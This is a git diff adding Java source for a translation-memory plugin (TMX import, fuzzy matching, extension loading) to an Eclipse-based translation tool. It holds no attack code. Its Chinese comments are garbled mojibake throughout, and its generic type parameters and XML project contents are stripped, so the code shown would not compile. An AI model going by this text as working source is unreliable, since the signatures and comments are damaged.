+ /** + * é‡å¤è®¾ç½®å°†ä¸ä¼šäº§ç”Ÿæ•ˆçŽ‡é—®é¢˜
    + * 设置当å‰é¡¹ç›®ï¼Œæ­¤ä¿¡æ¯å°†ç”¨äºŽèŽ·å–项目的é…ç½®ä¿¡æ¯ + * @param project ; + */ + public void setProject(IProject project){ + if(tmImporter != null){ + tmImporter.setProject(project); + } + } + + public int getContextSize(){ + if(tmImporter != null){ + return tmImporter.getContextSize(); + } + return 1; + } + + /** + * 清除资æºï¼Œç»“æŸå½“å‰å¯¼å…¥å™¨çš„生命周期 + * ; + */ + public void clearResources(){ + if(tmImporter != null){ + tmImporter.clearResources(); + } + instance = null; + } + /** + * 执行导入 + * @param tmxContent 符åˆTMX标准的字符串 + * @param srcLang æºè¯­è¨€ + * @param monitor 进度æ¡ï¼Œå¯ä»¥ä¸ºnull + * @return ; + * @throws ImportException + */ + public int executeImport(String tmxContent, String srcLang, IProgressMonitor monitor) throws ImportException { + if (tmImporter != null) { + return tmImporter.executeImport(tmxContent, srcLang, monitor); + } + return ITmImporter.IMPORT_STATE_NONE; + } + + /** + * 加载记忆库匹é…实现 ; + */ + private void runExtension() { + IConfigurationElement[] config = Platform.getExtensionRegistry().getConfigurationElementsFor( + TMIMPORTER_EXTENSION_ID); + try { + for (IConfigurationElement e : config) { + final Object o = e.createExecutableExtension("class"); + if (o instanceof ITmImporter) { + ISafeRunnable runnable = new ISafeRunnable() { + + public void handleException(Throwable exception) { + logger.error(Messages.getString("importer.TmImporter.logger1"), exception); + } + + public void run() throws Exception { + tmImporter = (ITmImporter) o; + } + }; + SafeRunner.run(runnable); + } + } + } catch (CoreException ex) { + logger.error(Messages.getString("importer.TmImporter.logger1"), ex); + } + } +} diff --git a/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/importer/extension/ITmImporter.java b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/importer/extension/ITmImporter.java new file mode 100644 index 0000000..aae8bf8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/importer/extension/ITmImporter.java @@ -0,0 +1,66 @@ +/** + * ITmImporter.java + * + * Version information : + * + * Date:2012-5-4 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.tm.importer.extension; + +import net.heartsome.cat.common.core.exception.ImportException; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.IProgressMonitor; + + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public interface ITmImporter { + + /** 没有执行导入 */ + int IMPORT_STATE_NONE = 0; + /** 导入æˆåŠŸ */ + int IMPORT_STATE_SUCCESSED=1; + /** 导入失败 */ + int IMPORT_STATE_FAILED= 2; + /** 没有数æ®åº“ */ + int IMPORT_STATE_NODB= 3; + + /** + * 执行导入 + * @param tmxContent 符åˆTMX标准的字符 + * @return 1 æˆåŠŸ,2 失败; + */ + int executeImport(String tmxContent,String srcLang, IProgressMonitor monitor) throws ImportException; + + /** + * 设置当å‰é¡¹ç›® + * @param project + */ + void setProject(IProject project); + + /** + * é‡Šæ”¾èµ„æº + */ + void clearResources(); + + /** + * 获å–上下文个数 + * @return ; + */ + int getContextSize(); + + /** + * 检查导入器是å¦å¯ç”¨ï¼Œä¸»è¦é’ˆå¯¹å½“å‰ç³»ç»Ÿæ˜¯å¦æœ‰åº“相关æ’件或者是å¦è®¾ç½®äº†é»˜è®¤åº“ + * @return ; + */ + boolean checkImporter(); +} diff --git a/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/match/TmMatcher.java b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/match/TmMatcher.java new file mode 100644 index 0000000..72fe3e6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/match/TmMatcher.java @@ -0,0 +1,254 @@ +/** + * TmMatcher.java + * + * Version information : + * + * Date:2012-4-28 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.tm.match; + +import java.util.ArrayList; +import java.util.Hashtable; +import java.util.List; +import java.util.Vector; + +import net.heartsome.cat.common.bean.FuzzySearchResult; +import net.heartsome.cat.common.bean.TranslationUnitAnalysisResult; +import net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean; +import net.heartsome.cat.ts.tm.match.extension.ITmMatch; +import net.heartsome.cat.ts.tm.resource.Messages; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IConfigurationElement; +import org.eclipse.core.runtime.ISafeRunnable; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.SafeRunner; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * è®°å¿†åº“åŒ¹é… + * @author jason + * @version + * @since JDK1.6 + */ +public class TmMatcher { + public static final Logger logger = LoggerFactory.getLogger(TmMatcher.class); + private static final String TMMATCH_EXTENSION_ID = "net.heartsome.cat.ts.tm.match.extension"; + private ITmMatch tmTranslation; + + /** + * 构造方法 + */ + public TmMatcher() { + runExtension(); + } + + /** + * 针对项目检查当å‰å¯¼å…¥å™¨æ˜¯å¦å¯ç”¨ï¼Œä¸»è¦åˆ¤æ–­æ˜¯å¦å­˜åœ¨æ•°æ®æ¨¡å—和当å‰é¡¹ç›®æ˜¯å¦è®¾ç½®äº†è®°å¿†åº“ + * @param project + * 当å‰é¡¹ç›® + * @return trueå¯ç”¨ï¼Œfalseä¸å¯ç”¨ + */ + public boolean checkTmMatcher(IProject project) { + if (tmTranslation == null) { + return false; + } + return tmTranslation.checkTmMatcher(project); + } + + /** + * æŸ¥æ‰¾åŒ¹é… + * @param project + * @param tuInfoBean + * @return ; + */ + public Vector> executeSearch(IProject project, TransUnitInfo2TranslationBean tuInfoBean) { + Vector> dbMatchsVector = new Vector>(); + if (tmTranslation != null) { + tmTranslation.setProject(project); + tmTranslation.setTransUnitInfo(tuInfoBean); + dbMatchsVector.addAll(tmTranslation.findMatch()); + } + return dbMatchsVector; + } + + /** + * 使用当å‰é¡¹ç›®çš„记忆库分æžç¿»è¯‘å•å…ƒ + * @param project + * 当å‰é¡¹ç›® + * @param tuInfoBean + * 翻译å•å…ƒ + * @return ; + */ + public List analysTranslationUnit(IProject project, + TransUnitInfo2TranslationBean tuInfoBean) { + if (tmTranslation != null) { + tmTranslation.setProject(project); + tmTranslation.setTransUnitInfo(tuInfoBean); + return tmTranslation.translationUnitAnalysis(); + } + return new ArrayList(); + } + + public List executeFuzzySearch(IProject project, TransUnitInfo2TranslationBean tuInfoBean) { + if (tmTranslation != null) { + tmTranslation.setProject(project); + tmTranslation.setTransUnitInfo(tuInfoBean); + return tmTranslation.fuzzySearch(); + } + return new ArrayList(); + } + + /** + * 设置自定义å‚æ•°,一日设置将ä¸ä¼šä»Žé¦–选项中读å–关于记忆库的å‚æ•° + * @param maxMatchSize + * 最大匹é…个数 + * @param isIgnoreTag + * 是å¦å¿½ç•¥æ ‡è®° + * @param minSimilarity + * 最å°åŒ¹é…率 + * @param isCaseSensitive + * 是å¦åŒºåˆ†å¤§å°å†™ + * @param contextSize + * 上下文个数 ; + */ + public void setCustomeMatchParameters(int maxMatchSize, boolean isIgnoreTag, int minSimilarity, + boolean isCaseSensitive, int contextSize, int tagPenalty) { + if (tmTranslation != null) { + tmTranslation.setCustomeMatchParameters(maxMatchSize, isIgnoreTag, minSimilarity, isCaseSensitive, + contextSize, tagPenalty); + } + } + + /** + * 设置自定义å‚数,其他å‚数将默认å–记忆库首选项中的é…ç½® + * @param maxMatchSize + * 最大匹é…个数 + * @param minSimilarity + * 最大匹é…率; + */ + public void setCustomeMatchParameters(int maxMatchSize, int minSimilarity) { + if (tmTranslation != null) { + tmTranslation.setCustomeMatchParameters(maxMatchSize, minSimilarity); + } + } + + /** + * 获å–最大匹é…个数,如果当å‰ç‰ˆæœ¬ä¸å­˜åœ¨æ•°æ®æ¨¡å—则返回0 + * @return ; + */ + public int getMaxMatchSize() { + if (tmTranslation != null) { + return tmTranslation.getMaxMatchSize(); + } + return 0; + } + + /** + * 获å–最低匹é…率 + * @return ; + */ + public int getMinMatchQuality() { + if (tmTranslation != null) { + return tmTranslation.getMinMatchQuality(); + } + return 0; + } + + /** + * 查询匹é…æ—¶,是å¦å¿½ç•¥æ ‡è®° + * @return ; + */ + public boolean isIgnoreTag() { + if (tmTranslation != null) { + tmTranslation.isIgnoreTag(); + } + return false; + } + + /** + * 获å–匹é…时检查上下文个数,如果当å‰ç‰ˆæœ¬ä¸å­˜åœ¨æ•°æ®æ¨¡å—则返回0 + * @return ; + */ + public int getContextSize() { + if (tmTranslation != null) { + return tmTranslation.getContextSize(); + } + return 0; + } + + /** + * 加哉记忆库匹é…实现 ; + */ + private void runExtension() { + IConfigurationElement[] config = Platform.getExtensionRegistry().getConfigurationElementsFor( + TMMATCH_EXTENSION_ID); + try { + for (IConfigurationElement e : config) { + final Object o = e.createExecutableExtension("class"); + if (o instanceof ITmMatch) { + ISafeRunnable runnable = new ISafeRunnable() { + + public void handleException(Throwable exception) { + logger.error(Messages.getString("match.TmMatcher.logger1"), exception); + } + + public void run() throws Exception { + tmTranslation = (ITmMatch) o; + } + }; + SafeRunner.run(runnable); + } + } + } catch (CoreException ex) { + logger.error(Messages.getString("match.TmMatcher.logger1"), ex); + } + } + + /** + * 清ç†å½“å‰ç¿»è¯‘å®žä¾‹ä¸­çš„æ‰€æœ‰èµ„æº + * @return ; + */ + public void clearResources() { + if (tmTranslation != null) { + tmTranslation.clearResource(); + } + } + + /** + * 清除当å‰ç¿»è¯‘实例中的数æ®åº“èµ„æº ; + */ + public void clearDbResources() { + if (tmTranslation != null) { + tmTranslation.clearDbResource(); + } + } + + /** + * 删除当å‰åŒ¹é…é¢æ¿ä¸­æ˜¾ç¤ºçš„æ•°æ®åº“åŠæ—¶åŒ¹é…。
    + * 如果 TU 是多语言对,则åªåˆ é™¤å½“å‰è¿™ä¸ªè¯­è¨€çš„TUV,如果是å•è¯­è¨€å¯¹åˆ™ç›´æŽ¥åˆ é™¤å½“å‰ TU 在记忆库中所有内容 + * @param fr 从记忆库中查询出æ¥çš„匹é…结果 + * @throws Exception + * ; + */ + public void deleteFuzzyResult(FuzzySearchResult fr) throws Exception { + tmTranslation.deleteFuzzyResult(fr); + } + + /** + * 更新当å‰åŒ¹é…é¢æ¿ä¸­æ˜¾ç¤ºæ•°æ®åº“åŠæ—¶åŒ¹é…,åªä¿®æ”¹æºæ–‡è¯‘文。 + * @param fr 从记忆库中查询出æ¥çš„匹é…结果 + * @throws Exception + * ; + */ + public void updateFuzzResult(FuzzySearchResult fr) throws Exception { + tmTranslation.updateFuzzyResult(fr); + } +} diff --git a/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/match/extension/AbstractTmMatch.java b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/match/extension/AbstractTmMatch.java new file mode 100644 index 0000000..95361d9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/match/extension/AbstractTmMatch.java @@ -0,0 +1,39 @@ +/** + * AbstractTmTranslation.java + * + * Version information : + * + * Date:2012-4-27 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.tm.match.extension; + +import net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 记忆库匹é…抽象 + * @author jason + * @version + * @since JDK1.6 + */ +public abstract class AbstractTmMatch implements ITmMatch { + public static final Logger logger = LoggerFactory.getLogger(AbstractTmMatch.class); + + protected TransUnitInfo2TranslationBean tuInfoBean; + + + public AbstractTmMatch() { + tuInfoBean = new TransUnitInfo2TranslationBean(); + } + + public void setTransUnitInfo(TransUnitInfo2TranslationBean tuInfoBean) { + this.tuInfoBean = tuInfoBean; + } +} diff --git a/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/match/extension/ITmMatch.java b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/match/extension/ITmMatch.java new file mode 100644 index 0000000..cf83faf --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/match/extension/ITmMatch.java @@ -0,0 +1,120 @@ +/** + * ITmTranslation.java + * + * Version information : + * + * Date:2012-4-27 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.tm.match.extension; + +import java.util.Hashtable; +import java.util.List; +import java.util.Vector; + +import net.heartsome.cat.common.bean.FuzzySearchResult; +import net.heartsome.cat.common.bean.TranslationUnitAnalysisResult; +import net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean; + +import org.eclipse.core.resources.IProject; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public interface ITmMatch { + + /** + * æŸ¥æ‰¾åŒ¹é… + * @return ; + */ + Vector> findMatch(); + + List fuzzySearch(); + + List translationUnitAnalysis(); + + /** + * 针对当å‰é¡¹ç›®æ£€æŸ¥å½“å‰åŒ¹é…器是å¦å¯ç”¨ + * @param project + * 当å‰é¡¹ç›® + * @return ; + */ + boolean checkTmMatcher(IProject project); + + /** + * 设置自定义å‚æ•° + * @param maxMatchSize + * @param isIgnoreTag + * @param minSimilarity + * @param isCaseSensitive + * @param contextSize + * ; + */ + void setCustomeMatchParameters(int maxMatchSize, boolean isIgnoreTag, int minSimilarity, boolean isCaseSensitive, + int contextSize, int tagPenalty); + + /** + * 设置自定义å‚æ•° + * @param maxMatchSize + * @param minSimilarity + * ; + */ + void setCustomeMatchParameters(int maxMatchSize, int minSimilarity); + + /** + * 设置翻译å•å…ƒæ•°æ® + * @param tuInfoBean + * ; + */ + void setTransUnitInfo(TransUnitInfo2TranslationBean tuInfoBean); + + /** + * 设置当å‰å¤„ç†çš„项目 + * @param project + * ; + */ + void setProject(IProject project); + + /** + * 获å–最大匹é…个数 + * @return ; + */ + int getMaxMatchSize(); + + /** + * 获å–上下文个数 + * @return ; + */ + int getContextSize(); + + /** + * 获å–最å°çš„匹é…率 + * @return ; + */ + int getMinMatchQuality(); + + /** 匹é…æ—¶,是å¦å¿½ç•¥æ ‡è®° */ + boolean isIgnoreTag(); + + /** + * 清除当å‰æ‰€æœ‰èµ„æº ; + */ + void clearResource(); + + /** + * åªæ¸…除当å‰æ•°æ®åº“èµ„æº + * å¦å‚考:{@link #clearResource()} + * ; + */ + public void clearDbResource(); + + void deleteFuzzyResult(FuzzySearchResult fr) throws Exception; + + void updateFuzzyResult(FuzzySearchResult fr) throws Exception; +} diff --git a/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/resource/Messages.java b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/resource/Messages.java new file mode 100644 index 0000000..fdd6303 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.tm.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.tm.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/resource/message.properties b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/resource/message.properties new file mode 100644 index 0000000..fc1df0c --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/resource/message.properties @@ -0,0 +1,7 @@ +complexMatch.ComplexMatcherFactory.logger1 = [LOG] \u52a0\u8f7d\u5339\u914d\u7b97\u6cd5\u51fa\u9519 + +importer.TmImporter.logger1 = [LOG] \u5b8c\u6210\u7ffb\u8bd1\uff0c\u52a0\u8f7d TMX \u6587\u4ef6\u5bfc\u5165\u5668\u5931\u8d25 + +match.TmMatcher.logger1 = [LOG] \u52a0\u8f7d\u7ffb\u8bd1\u8bb0\u5fc6\u5e93\u5339\u914d\u5b9e\u73b0\u51fa\u9519 + +simpleMatch.SimpleMatcherFactory.logger1 = [LOG] \u52a0\u8f7d\u5339\u914d\u7b97\u6cd5\u51fa\u9519 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/resource/message_en.properties b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/resource/message_en.properties new file mode 100644 index 0000000..e753f82 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/resource/message_en.properties @@ -0,0 +1,7 @@ +complexMatch.ComplexMatcherFactory.logger1 = [LOG] \u52a0\u8f7d\u5339\u914d\u7b97\u6cd5\u51fa\u9519 + +importer.TmImporter.logger1 = [LOG] \u5b8c\u6210\u7ffb\u8bd1\uff0c\u52a0\u8f7d TMX \u6587\u4ef6\u5bfc\u5165\u5668\u5931\u8d25 + +match.TmMatcher.logger1 = [LOG] \u52a0\u8f7d\u7ffb\u8bd1\u8bb0\u5fc6\u5e93\u5339\u914d\u5b9e\u73b0\u51fa\u9519 + +simpleMatch.SimpleMatcherFactory.logger1 = [LOG] \u52a0\u8f7d\u5339\u914d\u7b97\u6cd5\u51fa\u9519 diff --git a/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/resource/message_zh.properties b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/resource/message_zh.properties new file mode 100644 index 0000000..fc1df0c --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/resource/message_zh.properties @@ -0,0 +1,7 @@ +complexMatch.ComplexMatcherFactory.logger1 = [LOG] \u52a0\u8f7d\u5339\u914d\u7b97\u6cd5\u51fa\u9519 + +importer.TmImporter.logger1 = [LOG] \u5b8c\u6210\u7ffb\u8bd1\uff0c\u52a0\u8f7d TMX \u6587\u4ef6\u5bfc\u5165\u5668\u5931\u8d25 + +match.TmMatcher.logger1 = [LOG] \u52a0\u8f7d\u7ffb\u8bd1\u8bb0\u5fc6\u5e93\u5339\u914d\u5b9e\u73b0\u51fa\u9519 + +simpleMatch.SimpleMatcherFactory.logger1 = [LOG] \u52a0\u8f7d\u5339\u914d\u7b97\u6cd5\u51fa\u9519 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/simpleMatch/ISimpleMatcher.java b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/simpleMatch/ISimpleMatcher.java new file mode 100644 index 0000000..4bb6711 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/simpleMatch/ISimpleMatcher.java @@ -0,0 +1,74 @@ +/** + * ISimpleMatcher.java + * + * Version information : + * + * Date:2012-5-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.tm.simpleMatch; + +import net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean; + +/** + * 简å•åŒ¹é…接å£å®šä¹‰
    + * 简å•åŒ¹é…是指,简å•çš„传入需è¦ç¿»è¯‘的内容和æºè¯­è¨€ä»£ç ã€ç›®æ ‡è¯­è¨€ä»£ç åŽï¼Œè¿”回对应的译文 + * @author jason + * @version + * @since JDK1.6 + */ +public interface ISimpleMatcher { + + /** + * 获å–匹é…的类型简称,如机器翻译则近回MT,用于显示到匹é…视图中 + * @return ; + */ + String getMatcherType(); + + /** + * 获å–匹é…çš„æ¥æº + * @return ; + */ + String getMathcerOrigin(); + + /** + * 获å–匹é…算法æ¥æºï¼Œå¦‚google翻译,用于显示到匹é…的属性中 + * @return ; + */ + String getMathcerToolId(); + + /** + * 检查当å‰ç¿»è¯‘是å¦å¯ç”¨
    + * 如果当å‰æ²¡æœ‰é€šè¿‡éªŒè¯ï¼Œè¿”回false
    + * 如果当å‰è®¿é—®æ–¹å¼ä¸ºæ‰‹åŠ¨ï¼Œè¿”回false + * @return trueå¯ç”¨,falseä¸å¯ä»¥ç”¨; + */ + boolean matchChecker(); + + /** + * 执行翻译 + * @param tuInfo + * 翻译时需è¦çš„翻译å•å…ƒä¿¡æ¯ + * @return String 翻译结果 + */ + String executeMatch(TransUnitInfo2TranslationBean tuInfo); + + /** + * 判断是å¦æ”¯æŒé¢„翻译,如果当产翻译ä¸å¯ç”¨ï¼Œä¹Ÿå°†è¿”回false + * @return true 支æŒé¢„翻译,falseä¸æ”¯æŒé¢„翻译 + */ + boolean isSuportPreTrans(); + + /** + * 是å¦è¦†ç›–当å‰å·²ç»å­˜åœ¨ç¿»è¯‘
    + * æ ¹æ®ç§ç®€å•ç¿»è¯‘定义,一ç§åŒ¹é…算法åªä¼šå­˜åœ¨ä¸€ä¸ªåŒ¹é…,此方法用于确定是å¦è¦†ç›–上一次的匹é…
    + * 如google翻译,是å¦è¿›è¡ŒäºŒæ¬¡è¯·æ±‚ + * @return ; + */ + boolean isOverwriteMatch(); + +} diff --git a/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/simpleMatch/SimpleMatcherFactory.java b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/simpleMatch/SimpleMatcherFactory.java new file mode 100644 index 0000000..9eafb2f --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/simpleMatch/SimpleMatcherFactory.java @@ -0,0 +1,84 @@ +/** + * SimpleMatcherFactory.java + * + * Version information : + * + * Date:2012-5-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.tm.simpleMatch; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.ts.tm.resource.Messages; + +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IConfigurationElement; +import org.eclipse.core.runtime.ISafeRunnable; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.SafeRunner; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class SimpleMatcherFactory { + public static final Logger logger = LoggerFactory.getLogger(SimpleMatcherFactory.class); + + private final String EXTENSION_ID = "net.heartsome.cat.ts.tm.simplematch.extension"; + private List matchers; + + private static SimpleMatcherFactory instance; + + public static SimpleMatcherFactory getInstance(){ + if(instance == null){ + instance = new SimpleMatcherFactory(); + } + return instance; + } + + public List getCuurentMatcher(){ + return matchers; + } + + private SimpleMatcherFactory() { + matchers = new ArrayList(); + runExtension(); + } + + /** + * 加载记忆库匹é…实现 ; + */ + private void runExtension() { + IConfigurationElement[] config = Platform.getExtensionRegistry().getConfigurationElementsFor(EXTENSION_ID); + try { + for (IConfigurationElement e : config) { + final Object o = e.createExecutableExtension("class"); + if (o instanceof ISimpleMatcher) { + ISafeRunnable runnable = new ISafeRunnable() { + + public void handleException(Throwable exception) { + logger.error(Messages.getString("simpleMatch.SimpleMatcherFactory.logger1"), exception); + } + + public void run() throws Exception { + ISimpleMatcher simpleMatcher = (ISimpleMatcher) o; + matchers.add(simpleMatcher); + } + }; + SafeRunner.run(runnable); + } + } + } catch (CoreException ex) { + logger.error(Messages.getString("simpleMatch.SimpleMatcherFactory.logger1"), ex); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/.classpath b/ts/net.heartsome.cat.ts.ui.advanced/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.advanced/.project b/ts/net.heartsome.cat.ts.ui.advanced/.project new file mode 100644 index 0000000..fb87d15 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.ui.advanced + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.ui.advanced/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.ui.advanced/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..38de0e2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Sat 